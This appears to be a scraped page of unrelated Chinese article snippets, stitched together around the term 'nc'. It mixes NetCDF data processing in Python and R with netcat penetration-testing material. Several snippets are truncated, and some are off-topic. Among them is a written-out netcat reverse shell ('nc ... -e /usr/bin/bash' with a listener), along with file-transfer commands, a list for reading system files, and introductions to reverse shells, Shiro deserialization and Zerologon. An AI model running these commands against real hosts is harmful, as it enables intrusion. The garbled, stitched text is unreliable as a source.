nc文件的处理方式比较多,可以用MATLAB、JAVA、C、python或者其他的语言。我这两天折腾用python读取nc文件,查阅很多资料,左拼右凑的终于读出来了。
NetCDF文件是自描述的二进制数据格式。所谓自描述就是自带属性信息,这和一般的雷达基数据格式不同,一般的雷达数据也是二进制的,但不是自描述的,而是需要额外的数据格式文档来说明数据格式,而NetCDF文件中包含了描述变量和维度的元数据信息。通常包含以下三个部分:
前天在最强王者交流群,突然有人问起使用Python读取.nc文件的方法,正好之前有写过文章,这里拿出来跟大家分享下。
今天小编带大家绘制一幅”颜值“超高的学术图表,起初原因也是群里的小伙伴询问怎么绘制。要知道我可是非常宠读者的哈~~绝对的安排!读者给出的图片如下:
.nc文件和常规的文件不太一样,有专门的第三方处理库,netCDF4,需要安装才行。
最近在做shiro反序列化漏洞复现,从网上也找了一堆复现文章和工具,但是这些工具用着都不太舒服,于是参考网上大佬们的工具,自己进行了一些简单的改良。
netcat 黑客们的瑞士军刀,虽然小巧但是其功能一点也不弱,并且该工具天生免杀,值得你去尝试。
apt-get -y install netcat-traditionalupdate-alternatives --config nc nc文件传输接受端:nc -lp 333 > 1.exe发送端:nc -vn 172.18.13.90 333 < 4.1.exe -q 1nc简易聊天A:nc -l -p 888B:nc -vn 172.18.13.90 888nc反向shell:目标机:nc 172.18.13.90 9999 -e /usr/bin/bash攻击机:nc -lvp 9999pytho
nmap扫描某ip的C段,用时大概19h,对识别到的指纹信息依次查看,查看到如下信息
本文介绍基于Python语言的netCDF4库,读取.nc格式的数据文件,并提取指定维(时间、经度与纬度)下的变量数据的方法。
Pylint 是一个 Python 代码分析工具,它分析 Python 代码中的错误,查找不符合代码风格标准(Pylint 默认使用的代码风格是 PEP 8)和有潜在问题的代码。
文件传输是日常运维中最常见的操作,在linux系统和win/mac系统之间传输文件,我们最常用的,应该是lrzsz工具,通过rz(上传)/sz(下载),对于平常的小文件传输实在是太方便了
连接远程主机:nc (-nvv) {ip} {port} 监听本地端口:nc -l -p {port} 持续监听端口:nc -L -l -p {port}
鉴于很多数据如CRU、GLDAS、TerraClimate、GLASS数据等都是全球NC数据,如何利用Python对这些数据进行裁剪,得到属于自己研究区范围的数据一直困扰着许多人。
本文介绍基于C++语言的netCDF库读取.nc格式的栅格文件时,代码读取到的数据与栅格文件的实际数据不一致的解决方法。
在推出两期数据分享之后,获取数据的小伙伴们也知道,数据格式都是NetCDF(nc) 格式网格数据,虽然我在推文分享中说明使用Python、R或者GIS类软件都是可以进行 处理和可视化绘制的,但是,还是有小伙伴咨询使用编程软件Python或者R处理nc数据,正好也想分享一期关于nc网格数据的可视化绘制过程,这里我们使用R包进行nc数据的处理(Python处理较为简单,将放在空间插值系列的资料中,该部分正在加快进程中哦~~),主要涉及的知识点如下:
如果你不喜欢命令行的操作方式,那么你可以尝试使用python-cdo,利用python脚本语言的优势来处理气象数据。命令行的方式有其优势,比如简单易操作,可扩展性更强等,利用CDO的python接口也有其特有的优势,比如:
如果你不喜欢命令行的操作方式,或者想要和python 的生态进行更好的结合,那么你可以尝试使用python-cdo,利用python脚本语言的优势来处理气象数据。命令行的方式有其优势,比如简单易操作,可扩展性更强等,利用cdo的python接口也有其特有的优势,比如:
叶绿体基因组类的文章通常是我们自己做几个,然后结合已经发表的数据做分析。已经公布在NCBI的叶绿体基因组中通常没有反向重复区的信息。这个时候就需要我们自己重新注释。注释用到的是在线工具GeSeq https://chlorobox.mpimp-golm.mpg.de/geseq.html
前言 这两天帮一个朋友处理了些 nc 数据,本以为很简单的事情,没想到里面涉及到了很多的细节和坑,无论是“知难行易”还是“知易行难”都不能充分的说明问题,还是“知行合一”来的更靠谱些,既要知道理论又要知道如何实现,于是经过不太充分的研究后总结成此文,以记录如何使用 python 处理 nc 数据。 一、nc 数据介绍 nc 全称 netCDF(The Network Common Data Form),可以用来存储一系列的数组,就是这么简单(参考https://www.unidata.ucar.edu/so
在数据包的分析中离不开的工具就是wireshark, 这里整理一下重要的几个功能:
该操作在vm虚拟机中完成,提前安装了Windows7、kali linux、Windows server2008。
本来我是打算base64编码进行测试的,但是失败了,这里有个问题需要以后去深究,这里仅仅抛出来
CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。
这次我们来简单了解下气象数据常用的格式以及处理的工具,常用的数据格式包括普通的二进制格式、文本数据、NetCDF、HDF4/5以及GRIB1/2数据。我们可以利用编程语言例如python、matlab以及c语言,根据数据的说明文档或者相应的数据api开发文档进行读取,此外我们也可以根据提供的command命令行进行高效提取数据。
本文介绍基于Python语言,逐一读取大量.nc格式的多时相栅格文件,导出其中所具有的全部时间信息的方法。
当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用vim、top等命令时,webshell就无能为力了。
There is always a method here is useful for you to penetration test :)
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上,下面来介绍分析几种常用的方法。
Linux上的命令非常多,为了掌握它,很多同学耗尽了自己的脑细胞,憔悴了自己的容颜,结果记忆了一大堆垃圾命令,用过之后就忘了哈哈。
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看来代码补全还是不行,查了资料,可以使用 stty 来进行优化,将哑 shell 转换为全能shell
Netcat 号称 TCP/IP 的瑞士军刀并非浪得虚名,以体积小(可执行 200KB)功能灵活而著称,在各大发行版中都默认安装,你可以用它来做很多网络相关的工作,熟练使用它可以不依靠其他工具做一些很有用的事情。
There is always a method here is useful for you to penetrantion testing :) Some ways to read system files 1cat /etc/issue 2tac /etc/issue 3less /etc/issue 4more /etc/issue 5head /etc/issue 6tail /etc/issue 7nl /etc/issue 8xxd /etc/issue 9sort /et
是不是感觉被封面图和不明觉厉的题目给骗进来了哈哈哈,今天这篇是理论篇,没有多少案例,而且还很长,所以静不下心的小伙伴儿可以先收藏着,时间充裕了再看。 ---- 当今互联网和大数据发展的如此迅猛,大量的运营与业务数据需要通过可视化呈现来给商业分析人员提供有价值的决策信息,而地理信息与空间数据可视化则是可视化分析中至关重要而且门槛较高的一类。 通常除了少数本身具备强大前端开发能力的大厂之外,很多中小型企业在内部预算资源有限的情况下,并不具备自建BI和完整可视化框架的能力。需要借助第三方提供的开源可视化平台或者
在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。
netcat也就是平时用的nc,是一种功能丰富的网络调试和调查工具,它可以产生用户可能需要的几乎任何类型的连接,可以连接到远程主机nc -nvv Targert_IP Targert_Port,监听本地主机nc -l -p Local_Port,端口扫描nc -v target_IP target_Port、端口监听nc -l -p local_Port、远程文件传输nc Targert_IP Targert_Port < Targert_File、正向shell、反向shell等等。
本篇文章将从数据下载、处理、神经网络训练、画图四个大步骤叙说笔者在复现 Deep learning for multi-year ENSO forecasts这篇文章的工作。所涉及Python库有 wget , matplotlib , numpy ,xarray , pytorch 等一系列在深度学习以及气象数据处理中经常使用的函数库,希望这篇文章能够对大家有所帮助。笔者也只是大学二年级的本科生,做这些东西也只是凭借个人兴趣,水平低下、错误频出也是常有的事情,请大家见谅。
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kali Linux (内外:192.168.5.139) Centos8 (腾讯云:123.6.44.67)
前段时间在使用brew upgrade更新python到Python 3.12后,使用pip安装软件时报错:
给定两个大小相等的数组 nums1 和 nums2,nums1 相对于 nums2 的优势可以用满足 nums1[i] > nums2[i] 的索引 i 的数目来描述。
作业的思路是实现控制端(Server)对受控端(Client)的远程控制;在作业中,将以python代码 以及 java代码实现受控端、nc以及python代码实现控制端,尝试不同的远程方式。
当年比赛许多同学通过550拿下过各地核心目标和难打目标,自己参与其中无论从攻击还是防御溯源都受益匪浅
python的关于http网络请求的module有好些个,我们使用这些库来达到网络爬取或者完成RESTful API交换。这些库比较推荐的有urllib3,requests。这些库之所以流行有一些长处,比如说他们是AIOHTTP和HTTPX,还比如说requests库支持OAuth鉴权等等一些实用功能。像异步机制能并非发起多个请求,就很方便用来做网站爬取之类的工作。
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